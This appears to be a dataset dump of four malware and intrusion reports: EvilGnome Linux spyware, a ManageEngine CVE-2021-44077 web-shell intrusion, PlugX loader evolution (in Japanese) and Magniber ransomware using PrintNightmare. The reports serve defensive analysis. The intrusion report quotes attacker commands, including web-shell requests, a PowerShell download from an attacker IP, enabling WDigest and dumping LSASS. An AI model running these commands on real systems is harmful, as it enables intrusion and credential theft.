text
stringlengths 8
115k
|
---|
# EvilGnome: Rare Malware Spying on Linux Desktop Users
## Introduction
Linux desktop remains an unpopular choice among mainstream desktop users, making up a little more than 2% of the desktop operating system market share. This is in contrast to the web server market share, which consists of 70% of Linux-based operating systems. Consequently, the Linux malware ecosystem is plagued by financially driven crypto-miners and DDoS botnet tools which mostly target vulnerable servers. This explains our surprise when in the beginning of July, we discovered a new, fully undetected Linux backdoor implant, containing rarely seen functionalities with regards to Linux malware, targeting desktop users.
Throughout our investigation, we have found evidence that shows operational similarities between this implant and Gamaredon Group. We have investigated this connection and in this blog we will present a technical analysis of the tool. We have named the implant EvilGnome, for its disguise as a Gnome extension. The malware is currently fully undetected across all major security solutions.
We believe this is a test version that was uploaded to VirusTotal, perhaps by mistake. The implant contains an unfinished keylogger functionality, comments, symbol names, and compilation metadata which typically do not appear in production versions. EvilGnome’s functionalities include desktop screenshots, file stealing, allowing capturing audio recording from the user’s microphone and the ability to download and execute further modules.
## Gamaredon Group Connection
Gamaredon Group is an alleged Russian threat group. It has been active since at least 2013 and has targeted individuals likely involved with the Ukrainian government. Gamaredon Group infects victims using malicious attachments, delivered via spear phishing techniques. The group’s implants are characterized by the employment of information stealing tools—among them being screenshot and document stealers delivered via a SFX, and made to achieve persistence through a scheduled task. Gamaredon Group primarily makes use of Russian hosting providers in order to distribute its malware.
Our investigation into EvilGnome yielded several similarities between the threat actors behind EvilGnome and Gamaredon Group:
### Hosting Similarities
The operators of EvilGnome use a hosting provider that has been used by Gamaredon Group for years, and continues to be used by the group. More specifically, EvilGnome’s C2 IP address (195.62.52.101) was resolved two months ago by the domains gamework.ddns.net and workan.ddns.net, associated with the Gamaredon Group.
The finding shows that EvilGnome operates on an IP address that was controlled by the Gamaredon group two months ago.
### Infrastructure Similarities
While investigating the EvilGnome C2, we observed that it served SSH over port 3436. We then checked for the 3436 port over three currently operating Gamaredon Group C2 servers and found one server with this port open, serving SSH. We proceeded to scan for this network fingerprint under EvilGnome’s host provider and we identified two additional servers with domain names similar to the naming pattern of Gamaredon domains (the use of the .space TTLD and ddns):
- 185.158.115.44 -> kotl.space
- 185.158.115.154 -> clsass.ddns.net
### Tool Similarities
Gamaredon Group does not use any known Linux implants. It is difficult to make comparisons between tools built for different operating systems because they are developed with different challenges and objectives in mind. We can, however, observe similarities at a high level. The techniques and modules employed by EvilGnome—that is the use of SFX, persistence with task scheduler and the deployment of information stealing tools—remind us of Gamaredon Group’s Windows tools. We present a thorough analysis of EvilGnome in the following section.
## Technical Analysis
### Deployment with Makeself SFX
This implant is delivered in the form of a self-extracting archive shell script created with makeself:
“makeself.sh is a small shell script that generates a self-extractable compressed tar archive from a directory. The resulting file appears as a shell script (many of those have a .run suffix), and can be launched as is. The archive will then uncompress itself to a temporary directory and an optional arbitrary command will be executed (for example an installation script). This is pretty similar to archives generated with WinZip Self-Extractor in the Windows world.”
Interestingly, the tool’s operator did not omit metadata from the generated makeself SFX. The packaging date, development paths, and the tool’s filename were all left exposed. We can observe that the sample is very recent, created on Thursday, July 4.
As can be observed in the illustration above, the makeself script is instructed to run ./setup.sh after unpacking. Using makeself’s options, we are able to instruct the script to unpack itself without executing.
The archive contains four files:
1. gnome-shell-ext – the spy agent executable
2. gnome-shell-ext.sh – checks if gnome-shell-ext is already running and if not, executes it
3. rtp.dat – configuration file for gnome-shell-ext
4. setup.sh – the setup script that is run by makeself after unpacking
The setup script installs the agent to ~/.cache/gnome-software/gnome-shell-extensions/, in an attempt to masquerade itself as a Gnome shell extension. Gnome shell extensions allow tweaking the Gnome desktop and add functionalities. They are the desktop equivalent to browser extensions.
Persistence is achieved by registering gnome-shell-ext.sh to run every minute in crontab. Finally, the script executes gnome-shell-ext.sh, which in turn launches the main executable gnome-shell-ext.
### The Spy Agent
Analyzing the agent with Intezer Analyze demonstrated to us that the code was never seen before by the system. This large amount of unique genes located within this file is not a trend we regularly see in Linux files and therefore it seems suspicious. The Spy Agent was built in C++, using classes with an object-oriented structure. The binary was not stripped, which allowed us to read symbols and understand the developer’s intentions.
At launch, the agent forks to run in a new process. The agent then reads the rtp.dat configuration file and loads it directly into memory. We marked interesting fields within the configuration file. The first four bytes are a hexadecimal representation of the C2’s IP address:
0x65343ec3 -> 0xc3.0x3e.0x34.0x65 -> 195.62.52.101
### Modules
The spy agent contains five modules called “Shooters”:
- ShooterSound – captures audio from the user’s microphone and uploads to C2
- ShooterImage – captures screenshots and uploads to C2
- ShooterFile – scans the file system for newly created files and uploads them to C2
- ShooterPing – receives new commands from C2
- ShooterKey – unimplemented and unused, most likely an unfinished keylogging module
Each module is run in a separate thread, and access to shared resources (such as the configuration) is safeguarded by mutexes. The modules encrypt their output and decrypt data from the C2 with RC5 with the key “sdg62_AS.sa$die3”, using a modified version of a Russian open source library.
On connection failure, or if instructed by the C2, these modules store their output at ~/.cache/gnome-software/gnome-shell-extensions/tmp/.
### ShooterPing
The ShooterPing module processes commands received from the C2. These include:
- Download & execute new files
- Set new filters for file scanning
- Download & set new runtime configuration
- Exfiltrate stored output to C2
- Stop the shooter modules from running
The other modules run at a constant interval between each run, as defined by one of the configuration parameters. The C2 is able to control this interval via downloading new parameters through ShooterPing.
### ShooterFile
The ShooterFile module uses a filter list to scan the filesystem, while ignoring specific files and folders. We can see from the filter_accepted_files list that the agent’s purpose is to steal document-related files. However, the list is not used by the malware and further indicates that this is a work in progress.
### ShooterAudio
The ShooterAudio module uses PulseAudio to capture audio from the user’s microphone. Using default configuration from rtp.dat, the module records only a size of 80,000 bytes of audio per iteration. Consequently, the module only records audio for a brief moment, making this module non-functional until a larger recording size is set by the C2.
### ShooterImage
This module opens a connection to the XOrg Display Server, which is the backend to the Gnome desktop. It uses the Cairo open source library to take screenshots of the user’s desktop.
## Prevention and Response
We recommend to Linux users who want to check whether they are infected to check the “~/.cache/gnome-software/gnome-shell-extensions” directory for the “gnome-shell-ext” executable. We have also created a custom YARA rule, based on code reuse technology, for detecting future variants of EvilGnome.
## Conclusion
EvilGnome is a rare type of malware due to its appetite for Linux desktop users. Throughout this post, we have presented detailed infrastructure-related evidence to connect EvilGnome to the actors behind the Gamaredon Group. We believe this is a premature test version. We anticipate newer versions to be discovered and reviewed in the future, which could potentially shed more light into the group’s operations.
## Genetic Analysis
The EvilGnome malware variant is now indexed in Intezer’s genetic database. If you have a suspicious file that you suspect to be EvilGnome, you can upload it to Intezer Analyze in order to detect code reuse to this threat family and many others. You are welcome to try it for free in our community edition.
## IOCs
**EvilGnome:**
- a21acbe7ee77c721f1adc76e7a7799c936e74348d32b4c38f3bf6357ed7e8032
- 82b69954410c83315dfe769eed4b6cfc7d11f0f62e26ff546542e35dcd7106b7
- 7ffab36b2fa68d0708c82f01a70c8d10614ca742d838b69007f5104337a4b869
- 195.62.52[.]101
**Gamaredon Group:**
- 185.158.115[.]44
- 185.158.115[.]154
- clsass.ddns[.]net
- kotl[.]space
By Paul Litvak
Paul is a malware analyst and reverse engineer at Intezer. He previously served as a developer in the Israel Defense Force (IDF) Intelligence Corps for three years. |
# Will the Real Msiexec Please Stand Up? Exploit Leads to Data Exfiltration
In this multi-day intrusion, we observed a threat actor gain initial access to an organization by exploiting a vulnerability in ManageEngine SupportCenter Plus. The threat actor discovered files on the server and dumped credentials using a web shell, moved laterally to key servers using Plink and RDP, and exfiltrated sensitive information using the web shell and RDP. The FBI and CISA published an advisory noting that APT attackers were using CVE-2021-44077 to gain initial access to the networks of organizations in Critical Infrastructure Sectors such as healthcare, financial, electronics, and IT consulting industries.
## Case Summary
The intrusion began with the exploitation of an internet-facing instance of ManageEngine SupportCenter Plus via the CVE-2021-44077 vulnerability. The threat actor successfully exploited the RCE vulnerability in SupportCenter Plus, which allowed them to drop a web shell in an internet-accessible directory. The exploit we witnessed looks very similar to a publicly available POC exploit on GitHub.
The threat actor then performed some generic enumeration of the system and enabled WDigest authentication on the server using the web shell. Enumeration on the system included querying network configuration, a list of domain-joined computers, user and OS information, and current user sessions on the beachhead.
Periodically over several days, the threat actor returned and checked what users were logged into the beachhead server using the web shell. Finally, on the seventh day, the threat actors performed an LSASS dump on the system, which captured the credentials of an administrative user that had recently logged into the system. In this case, the threat actor had access to the user’s plaintext credentials as a result of WDigest authentication being previously enabled.
The following day, the threat actor downloaded ekern.exe, which was a renamed version of Plink, and deployed a script to establish a reverse SSH connection to the RDP port of the beachhead server. An interactive RDP session was successfully established to the beachhead server by the threat actor, where they began enumerating other computers on the network.
From the beachhead, lateral movement was conducted to three other servers via RDP, including a domain controller, a file server, and another server. Confidential files were exfiltrated from the network throughout this intrusion using a mixture of web shell access and hands-on keyboard access via RDP.
These files were critical to the business and its partner. The documents were selectively chosen as if the attackers were looking for specific material. When it came time to exfiltrate certain files or folders, one folder of the utmost importance was exfiltrated while passing on other partner folders and files.
Besides the files and folders mentioned, internal machine certs were reviewed and later exfiltrated. The exfiltrated information has not been found in any public dumps or sales to date. The threat actors were evicted from the network soon after stealing this information.
## Services
We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, BumbleBee, Covenant, Metasploit, Empire, PoshC2, etc. More information on this service and others can be found here.
## Timeline
### Initial Access
Initial access began with the exploitation of ManageEngine SupportCenter Plus via CVE-2021-44077, an unauthenticated remote code execution vulnerability. There are two main HTTP requests responsible for this exploit.
The first request sent a POST containing the contents of a PE file which was written to:
```
C:\Program Files\ManageEngine\SupportCenterPlus\bin\msiexec.exe
/RestAPI/ImportTechnicians?step=1
```
The second request attempted to install Zoho’s Site24x7 performance monitoring tool but indirectly invoked the uploaded msiexec.exe file. More details regarding this are covered in the Execution section.
```
/RestAPI/s247action?execute=s247AgentInstallationProcess&apikey=asdasd
```
The exploitation attempts against the internet-facing server arrived from two Tor exit nodes. Each step of the exploit was observed originating from a different TOR exit node.
- 2.58.56.14
- 185.220.101.76
### Execution
The second stage of the CVE-2021-44077 exploit involved initiating the installation of Zoho’s Site24x7 performance monitoring tool. Support Center Plus will do this by invoking the installation via msiexec.exe by running:
```
msiexec.exe /i Site24x7WindowsAgent.msi EDITA1=asdasd /qn
```
The running path of Support Center Plus at the time this command runs is `C:\Program Files\ManageEngine\SupportCenterPlus\bin\`, which means the msiexec.exe uploaded by the threat actor will be favored rather than the legitimate Microsoft utility.
Once the malicious msiexec.exe is executed, an embedded Java payload will be decoded and written to:
```
C:\Program Files\ManageEngine\SupportCenterPlus\custom\login\fm2.jsp
```
The parameters passed to msiexec.exe are never used, and the Site24x7 performance monitoring tool is never installed. The web shell was written to:
```
C:\Program files\ManageEngine\SupportCenterPlus\Custom\Login\fm2.jsp
```
This location is web accessible, which means the threat actors can interact with the web shell through a web browser from the internet. Here are a few commands run through the web shell.
```
https://server.example/custom/login/fm2.jsp?cmd=arp -a
https://server.example/custom/login/fm2.jsp?cmd=del c:\windows\temp\logctl.zip
https://server.example/custom/login/fm2.jsp?cmd=systeminfo
https://server.example/custom/login/fm2.jsp?cmd=tasklist
https://server.example/custom/login/fm2.jsp?cmd=wmic computersystem get domain
```
The following diagram visually illustrates the CVE-2021-44077 exploitation and execution process.
### Interesting information related to msiexec.exe
- Compiler timestamp of Thu Nov 14 12:00:07 2075
- Debugger timestamp of Wed Oct 03 09:01:59 2068
- File version 1.0.0.0
- PDB of `c:\users\administrator\msiexec\msiexec\msiexec\obj\x86\debug\msiexec.pdb`
- .NET(v4.0.30319)
The threat actors had previously uploaded a different file, named the same thing minutes before the web shell was created. After the execution of that file seemed to fail, the threat actors uploaded the msiexec.exe file from above, which created the web shell seconds later. The two msiexec files included the same web shell but had some differing characteristics. Here is some information on the first attempted msiexec file which failed.
- Compiler timestamp of Mon Oct 17 01:32:17 2067
- Debugger timestamp of Sat Apr 15 14:30:09 1995
- File version 1.0.0.0
- PDB of `m:\work\shellll\msiexec\msiexec\obj\release\msiexec.pdb`
- .NET(v2.0.50727)
The main difference being the interesting PDB path `m:\work\shellll\` and the differing .NET versions.
### Application logs
We can see from the Catalina.txt log that when the threat actors run certain commands such as fxs.bat (RDP tunneling), the application thinks the process is hung (runs for 30+ seconds) and creates a warning message:
```
[REDACTED]|[REDACTED]|[org.apache.catalina.valves.StuckThreadDetectionValve]|[WARNING]|[57]: Thread [/login/fm2.jsp-1649702723966_###_] (id=[64]) has been active for [39,915] milliseconds (since REDACTED]) to serve the same request for [http://REDACTED:8080/custom/login/fm2.jsp?cmd=C%3A%5CWindows%5Ctemp%5Cfxs.bat] and may be stuck (configured threshold for this StuckThreadDetectionValve is [30] seconds). There is/are [1] thread(s) in total that are monitored by this Valve and may be stuck.|
```
In the Securitylog0.txt file, we can see the request made to the web shell and timestamp over and over but not much else.
```
[REDACTED]|[REDACTED]|[com.manageengine.servicedesk.filter.SdpSecurityFilter]|[INFO]|[76]: RequestURI::::::: /login/fm2.jsp|
```
These are all the Support Center Plus logs we could find relating to this intrusion, leaving a lot to be desired.
### Persistence
The web shell dropped to the beachhead during the exploitation process was the only form of persistence observed during the intrusion. There are multiple remote interaction capabilities in the Java web shell, including:
- Execution of commands
- View and download files
- Creation of new files
### Privilege Escalation
Privilege escalation was not needed on the beachhead ManageEngine server as the exploit provided the execution of commands through the web shell with SYSTEM level privileges. Later during the intrusion, they dumped credentials for a user that had privileges allowing lateral movement throughout the environment. More on the dumping method in the Credential Access section.
### Defense Evasion
During the initial access, an attacker uploaded a binary named msiexec.exe onto the system. This binary isn’t the legitimate Microsoft msiexec.exe; rather, it is a dropper that contains an embedded encoded web shell. The naming of this executable has the benefit of blending into the environment and appearing legitimate while also being critical to the exploitation of CVE-2021-44077.
During a later stage of the intrusion, an attacker dumped the LSASS process (see Credential Access section). After exfiltrating the LSASS dump, the attacker deleted the dump file to hide their traces.
Once the credentials were harvested from the LSASS dump, the threat actor returned to the environment and downloaded the binary named ekern.exe to tunnel RDP connections over SSH. Ekern.exe is the plink.exe tool renamed in order to stay under the radar. Furthermore, the name ekern.exe is similar to the name of a known component of ESET named ekrn.exe.
On the beachhead system, the threat actor queried the registry checking to see if WDigest was enabled:
```
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
```
WDigest allows for credential caching in LSASS, which will result in a user's plaintext password being stored in memory. The intended purpose of WDigest credential caching is to facilitate clear text authentication with HTTP and SASL; however, this can be misused by the threat actor to retrieve the plaintext credentials of a user.
Here’s the command executed from the web shell:
```
powershell.exe reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
```
This registry value was not present on the system, which informed the attacker that WDigest was disabled on the beachhead.
Twenty-two seconds later, the threat actor enabled WDigest using the following command via the web shell:
```
powershell.exe Set-ItemProperty -Force -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name 'UseLogonCredential' -Value '1'
```
### Credential Access
After enabling WDigest, the attacker checked back numerous times over multiple days to see who was signed in. During this period, a privileged user logged onto the system for maintenance work, and after which, the threat actor dumped LSASS using comsvcs.dll. The threat actor listed the running processes via the tasklist command and used the PID of LSASS from the output to pass to the credential dumping command.
```
"C:\windows\System32\rundll32.exe" C:\windows\System32\comsvcs.dll MiniDump C:\windows\temp\logctl.zip full
```
The LSASS dump was then exfiltrated out of the environment for offline analysis, and the rest of the actions were conducted from the account whose password was extracted from the LSASS dump.
### Discovery
The threat actor used the web shell fm2.jsp to conduct their initial discovery on the host. Below are the GET requests sent to the web shell with the discovery commands passed to the cmd parameter, which runs as PowerShell.
```
powershell.exe reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
powershell.exe query session
powershell.exe systeminfo
powershell.exe quser
powershell.exe arp -a
powershell.exe wmic computersystem get domain
powershell.exe netstat -an
powershell.exe ipconfig /all
```
They also used the web shell to review directories; here are a few examples:
```
/custom/login/fm2.jsp?p=C:/Windows/Temp&action=get
/custom/login/fm2.jsp?p=C:/Windows&action=get
/custom/login/fm2.jsp?p=C:/&action=get
/custom/login/fm2.jsp?p=C:/ALLibraries&action=get
/custom/login/fm2.jsp?p=C:/Users&action=get
```
### Lateral Movement
The threat actor used the web shell to download file.exe onto the beachhead and save it as ekern.exe using a PowerShell download cradle.
```
powershell.exe (New-Object System.Net.WebClient).DownloadFile('hXXp://23.81.246[.]84/file.exe', 'c:\windows\temp\ekern.exe')
```
The file ekern.exe was a renamed copy of Plink.exe, a command-line SSH client.
Plink was used in conjunction with a batch script named FXS.bat to establish an SSH connection with the threat actor’s server.
### Command and Control
All command and control traffic we observed was through the SSH tunnel to 23.81.246.84. That IP address was exposing an SSH server on port 443, which was what the beachhead made connections with.
### Exfiltration
After getting a foothold on the beachhead machine, an attacker first downloaded the postgres DB backup of the ManageEngine SupportCenter Plus application using the web shell. Seven days after initial access, an attacker exfiltrated a certificate from the server, a Visio file, and an Excel sheet for the accounts via web shell.
An attacker was also seen exfiltrating confidential documents during an RDP session and triggering canary tokens from 192.221.154.141 and 8.0.26.137 upon opening the documents.
### Impact
The threat actors were evicted from the network soon after stealing confidential information.
### Indicators
**Atomic**
- SSH Reverse Proxy: 23.81.246.84
- Webshell Query IP: 5.239.37.78, 5.114.3.200, 5.113.111.4, 35.196.132.85
- ManageEngine Exploit Origin: 2.58.56.14, 185.220.101.76
- Canary Document Alert IP: 8.0.26.137, 192.221.154.141
**Computed**
- fm2.jsp: 05cee9b71bdd99c22dde19957a6169e7
- FXS.bat: 03cbb2227284c4842906d3576372e604
- ekern.exe: 848f7edb825813aee4c09c7f2ec71d27
- msiexec.exe: 0be5d9235059cb4f8b16fe798e822444
- msiexec.exe (failed): 9872E0A47E2F44BF6E22E976F061DAC0
### Behavioral
The threat actor would exploit ManageEngine via CVE-2021-44077 from a Tor Exit Node (2.58.56.14 and 185.220.101.76) followed by the execution of a webshell extractor matching the name msiexec.exe. A batch script is used to facilitate RDP tunneling including the use of Plink. Canary alerts for documents exfiltrated from the network were observed being opened from the IP addresses 8.0.26.137 and 192.221.154.141.
### Detections
- ET TOR Known Tor Exit Node Traffic group 48
- ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 48
- ET EXPLOIT [CISA AA21-336A] Zoho ManageEngine ServiceDesk Possible Exploitation Activity (CVE-2021-44077)
- ET INFO Generic HTTP EXE Upload Inbound
- ET INFO Executable Download from dotted-quad Host
### MITRE
- T1190 – Exploit Public-Facing Application
- T1572 – Protocol Tunneling
- T1012 – Query Registry
- T1003 – OS Credential Dumping
- T1087 – Account Discovery
- T1057 – Process Discovery
- T1021.001 – Remote Services: Remote Desktop Protocol
- T1059.001 – Command and Scripting Interpreter: PowerShell
- T1047 – Windows Management Instrumentation
- T1070.004: File Deletion
- T1078.002 – Domain Account
- T1112 – Modify Registry
- T1036 – Masquerading
- T1505.003 – Server Software Component: Web Shell
Internal case #12993 |
# PlugXローダーの進化
はじめに
FFRIセキュリティ ソフトウェアエンジニアの松本です。PlugXというバックドアは非常に古くから存在しており、現在でも利用されています。今回はそのPlugXのローダーの変遷について見ていきます。
## PlugXの概要
PlugXは標的型攻撃に利用されているRemote Access Tool(以下RATと記載)であり、主に政府機関などを狙う標的型攻撃に利用されるツールです。機能としては情報収集・窃取、侵入後のPCのコントロールなどがあります。2012年には既にTrendMicroの記事があるほどPlugXは古くから存在します。一方、ここ数か月の間にもTA416(通称Mustang Panda)というグループが利用しているという報告が上がっております。
日本国内では株式会社JTBがPlugXに感染し情報漏洩したという事例が存在します。また、株式会社ジャストシステムのワープロソフトである一太郎の脆弱性を利用し感染を狙う事例もありました。
PlugXローダーは世代に関わらず以下のような流れで動作しています。
1. ドロッパーを添付したメール経由などにより、対象組織内部でドロッパーを実行してもらう
2. ドロッパーが①正規exe、②マルウェアdll、③バイナリファイルの3つを生成する
3. ドロッパーが①正規exeを実行する
4. ②マルウェアdllは①正規exeが利用する正規dllを偽装しており、①正規exeはそのまま②マルウェアdllを読み込む
5. ②マルウェアdllが③バイナリファイルを読み込む
6. ③バイナリファイルが子プロセスを生成し、次の段階に移る
読み込まれるバイナリファイルの内部に暗号化されたコードなどが入っているため、実際にはその複合など更に細かい動作が存在しますが、動作の流れは以下の概要図のようになります。
## PlugXの変化
PlugXは時間と共に進化していきました。その流れを簡潔に纏めると以下のようになります。
| 年代 | 世代 | 追加機能の例 |
|------|------|--------------|
| 2012 | 第一世代 | RAT |
| 2013 | 第二世代 | 自己解凍書庫の利用開始 |
| 2015 | 第三世代 | P2P機能の追加による、感染端末間の通信 |
| 2017 | 第四世代 | PoisonIvyのコード流用 |
| 現状 | 第五世代 | Go言語の利用、ローダーの多様化 |
### 第一世代
PlugXでは前述通り、まずは正規exeからdllが読み込まれ、dllからバイナリを読み込んだ上で次のプロセスを生成するという動作をします。まず注目すべきは、マルウェアバイナリのコード内部でスタック上に文字列を生成するstack stringsという手法が利用されている点です。この手法はバイナリに文字列を直接埋め込まないため、解析をより困難にします。
stack stringsはx86のmov命令やlea命令を利用してスタック上に文字列を手動で生成する方法です。スタック上に生成された文字列はバイナリ内部で利用するAPIのアドレスを動的に取得するために利用されます。
### 第二世代
第二世代は機能面の変化の他、メモリ内部で復号されるPEファイルのマジックナンバーがPEではなくなっているといった変更点が報告されています。ドロッパーに自己解凍書庫が利用されているパターンもこの辺りから出てきます。ここではローダー部分の変化について見ていきます。
マルウェアdllには上から順番にディスアセンブルすると、実際に実行される命令とは異なってしまうという難読化が施された関数も追加されています。
### 第三世代
第三世代の機能面における変化はP2P機能の搭載などが報告されています。しかし、ローダー部分に関してはXVというマジックナンバーの出現個数の変化などの変更はあるものの、XOR復号はもちろん大まかな流れには変化が無いように見受けられました。
### 第四世代
PoisonIvyのコードを一部流用しているということで第四世代として分類されるこの世代では、ドロッパー自体は第三世代から引き続き自己解凍書庫であるものの、ローダー部分にも多くの変更が入っています。例えば、簡単なものであればマルウェアdllのentry関数から早速NOP、DEC、INC命令を使った無駄な処理を大量に配置しています。
また、今までの世代ではVirtualAllocで取得したメモリへの展開はmemcpyを利用していましたが、この世代からはバイナリファイルを直接ReadFileで読み込む処理に変わっていきます。ReadFile経由の読み込みはユーザーランドにおけるWinDbgのハードウェアブレークポイントでは止まらないので、メモリアドレスへの書き込みイベントで止めることが出来ず、より解析が困難になっています。
### 現在
PlugXと呼ばれる検体は現在も変化し続けていますが、基本的に正規exe、マルウェアであるdll、そしてバイナリファイルを同じディレクトリに配置するというドロップ方式は変わっていないようです。一方で解析をより困難にするためC2サーバーと接続出来なければ次の段階に進まないような改良が見られるようになりました。また、Go言語製のPlugXローダーが存在していることも報告されています。このGo言語製のdllもC2サーバーと接続できなければ動作しないようになっていたため、現在の主流は解析を困難にするため、C2サーバー側にドロップさせたい物を配置する形式になってきたと思われます。
## 終わりに
PlugXは長い活動期間を通して、機能の高度化以外にもローダー部分における難読化も施していることが確認できました。こうした変化によりマルウェア解析用のスクリプトが正常に動作しないこともあり、検知を回避し、解析の妨害に一役買っています。今回調査したPlugXの検体など多くのマルウェアは、以上のような検知回避や難読化などを行っておりますが、FFRI yaraiは検知エンジンの新規開発や改善などを継続的に行うことで、検知可能となっておりますのでご安心ください。 |
# Magniber Ransomware Caught Using PrintNightmare Vulnerability
**Liviu Arsene**
**August 11, 2021**
Magniber ransomware makes a comeback using the same methods: exploiting unpatched vulnerabilities on South Korean victims. In July 2021, CrowdStrike identified Magniber ransomware attempting to use a known PrintNightmare vulnerability to compromise victims. CrowdStrike detects and protects against both the exploitation of the PrintNightmare vulnerability and the Magniber ransomware.
CrowdStrike recently observed new activity related to a 2017 ransomware family, known as Magniber, using the PrintNightmare vulnerability on victims in South Korea. On July 13, CrowdStrike successfully detected and prevented attempts at exploiting the PrintNightmare vulnerability, protecting customers before any encryption takes place.
When the PrintNightmare (CVE-2021-34527) vulnerability was disclosed, CrowdStrike intelligence assessed that the vulnerability would likely be used by threat actors as it allowed for possible remote code execution (RCE) and local privilege escalation (LPE). This assessment proved accurate in light of the recent incident.
Using mitigations that target the tactics and techniques used by adversaries to compromise endpoints, the CrowdStrike Falcon® platform provides layered coverage against threats by using machine learning (on-sensor and in the cloud) and indicators of attack (IOAs) to identify malicious processes or files associated with known or unknown threats.
## A Timeline for the PrintNightmare Vulnerability
- **June 8, 2021**: The PrintNightmare (CVE-2021-1675) vulnerability was initially discovered and reported to Microsoft by security researchers working for three different companies. Their research involved attempting to bypass a previous patch addressing the “PrintDemon” (CVE-2020-1048) vulnerability.
- **June 21, 2021**: While Microsoft released a patch for CVE-2021-1675 as part of Microsoft’s June 2021 Patch Tuesday, no additional information regarding how to exploit the vulnerability was made public. At the time, it was believed the vulnerability could only be exploited by a locally authenticated user. However, the vulnerability was elevated to Critical on June 21 by Microsoft, as it was determined it could allow for RCE.
- **June 29, 2021**: Independently, one of three additional security researchers investigating a similar bug in the Windows Print Spooler service inadvertently published a proof of concept (POC) exploiting the CVE-2021-1675 vulnerability on a GitHub repository. While the error was shortly corrected, the GitHub repo was reportedly forked, and the POC made it into the wild, potentially leading to abuse by attackers.
- **July 1, 2021**: Although Microsoft addressed the CVE-2021-1675 vulnerability by issuing a patch, the leaked POC exploited a different attack vector that triggered the Print Spooler vulnerability. As of July 1, several different proof of concepts exploiting the Printer Spooler vulnerability were made public. Consequently, a second CVE (CVE-2021-34527) was created on July 1, with Microsoft stating that “CVE-2021-1675 is similar but distinct from CVE-2021-34527.”
- **July 6, 2021**: On July 6, Microsoft issued an out-of-band (OOB) update attempting to mitigate the CVE-2021-34527 vulnerability, but hours later security researchers found that it was again possible to bypass imposed mitigations under certain conditions. Popular exploit tools, such as Metasploit and Mimikatz, started incorporating the exploit code, paving the way for adversary weaponization of a yet unpatched vulnerability.
## A Primer on Magniber Ransomware
Magniber ransomware was first spotted in late 2017 targeting victims in South Korea through malvertising campaigns using the Magnitude Exploit Kit (EK). Previous Magniber campaigns went through significant efforts to only infect victims in South Korea, although in mid-2018 it was also spotted targeting victims in other Asia Pacific countries.
Magnitude Exploit Kit (EK) operators initially used the Cerber ransomware exclusively before turning to Magniber, which is believed to be the successor of Cerber. The most popular infection vector for Magniber involved the use of unpatched vulnerabilities, such as Internet Explorer exploits (CVE-2018-8174, CVE-2021-26411, CVE-2020-0968, CVE-2019-1367) or Flash (CVE-2018-8174) vulnerabilities, infecting victims through compromised websites or drive-by downloads.
While the Magniber ransomware only seems to target the Republic of Korea, it has been active since 2017. The Falcon OverWatch™ team also spotted more recent activity from Magniber in early February 2021, exploiting an Internet Explorer vulnerability (CVE-2020-0968) to exclusively compromise South Korean victims.
Magniber was under active development to include new obfuscation features, evasion tactics, and encryption mechanisms that made the encryption more robust, showing up in sporadic campaigns over the years. Its developers also went through a significant effort to limit infections to Asia Pacific countries by including various language checks.
## PrintNightmare Meets Magniber Ransomware
The new incident involving Magniber ransomware using the recent PrintNightmare Printer Spooler vulnerability is surprising, but not uncommon considering the impact of the vulnerability. Several POCs have been in circulation since the issue was reported, and it was only a matter of time until adversaries attempted to leverage it to compromise victims and deliver malicious payloads.
The Falcon OverWatch team constantly hunts for adversary attempts trying to exploit the PrintNightmare vulnerability and recently spotted an endeavor to exploit it. A malicious DLL was written to the folder `\Device\HarddiskVolume2\Windows\System32\spool\DRIVERS\x64\3\New\`, after which it was loaded into the spoolsv.exe process. The DLL itself is associated with the Magniber ransomware and is responsible for deobfuscating the core ransomware DLL and injecting it into a remote process.
Our IOA coverage that we released as part of the PrintNightmare research successfully triggers due to this action and prevents this operation. CrowdStrike’s behavior-based detection using IOAs successfully prevented the core ransomware DLL from being injected, thwarting the malicious activity before any encryption took place on the endpoint.
Analyzing the behavior of the malicious ransomware sample reveals the same Magniber behavior observed in the past by CrowdStrike security researchers: exploiting a vulnerability, dropping an obfuscated DLL loader, injecting the loader into a process, and then unpacking the core DLL loader that performs local file traversal and encryption — which is on par with the known Magniber modus operandi.
The dropped ransom note does not reveal anything new about the operators behind this incident or the ransom payment amount. Instead, it provides instructions on contacting the ransomware operators for potential negotiation and warns victims they have a limited amount of time to contact them for decryption before the links expire.
## CrowdStrike Falcon Protection
CrowdStrike Falcon takes a layered approach to protecting endpoints that are most valuable to organizations by employing machine learning and behavior-based protection. The critical Windows Print Spooler vulnerability, PrintNightmare, is something that potentially affects all Windows hosts, which is why CrowdStrike customers are encouraged to review their prevention policies in accordance with best practices and get Falcon Spotlight™ vulnerability management to identify risks related to this.
CrowdStrike Falcon leverages machine learning and IOAs to identify malicious behavior of processes or files when dealing with new or unknown threats. This video demonstrates Falcon’s capabilities to successfully detect and block the Magniber ransomware DLL. First, learn how Falcon detects Magniber DLL using cloud machine learning written to disk and when injected into a remote process. Then, see a demo of Falcon’s ability to block the Magniber ransomware when all prevention and protection policies are enabled according to best practices. The Falcon sensor immediately blocks the malicious Magniber behavior, protecting the endpoint.
CrowdStrike continuously monitors the tactics, techniques, and procedures (TTPs) associated with over 160 identified threat actors and numerous unnamed groups and threats, and incorporates that intelligence into the Falcon platform.
CrowdStrike estimates that the PrintNightmare vulnerability coupled with the deployment of ransomware will likely continue to be exploited by other threat actors. We encourage organizations to always apply the latest patches and security updates to mitigate known vulnerabilities and adhere to security best practices to strengthen their security posture against threats and sophisticated adversaries.
## Indicators of Compromise (IOCs)
- **File**: SHA256
- **Magniber**: 10b9b1d8f6bafd9bb57ccfb1da4a658f10207d566781fa5fb3c4394d283e860e
- **Loader**: 36417f0ea6d948cbd7e003b3cefbb603d886849a8c80e0999c7969b03f2b9c28
- **DLL**:
- 66c4f54da6542339de036872e80306f345b8572a71e782434245455e03541465
- 77d3b1cf6d5a0a07090cdb078dce6e3849465c9acde7e1ba66c3893fefc73d4b
- 9a6584a163d8c378e6f873c5544794274cce2532e91fc079b79fd73399447b03 |
# DCX
success.trendmicro.com/solution/000261916
Loading
×Sorry to interrupt
CSS Error
Refresh |
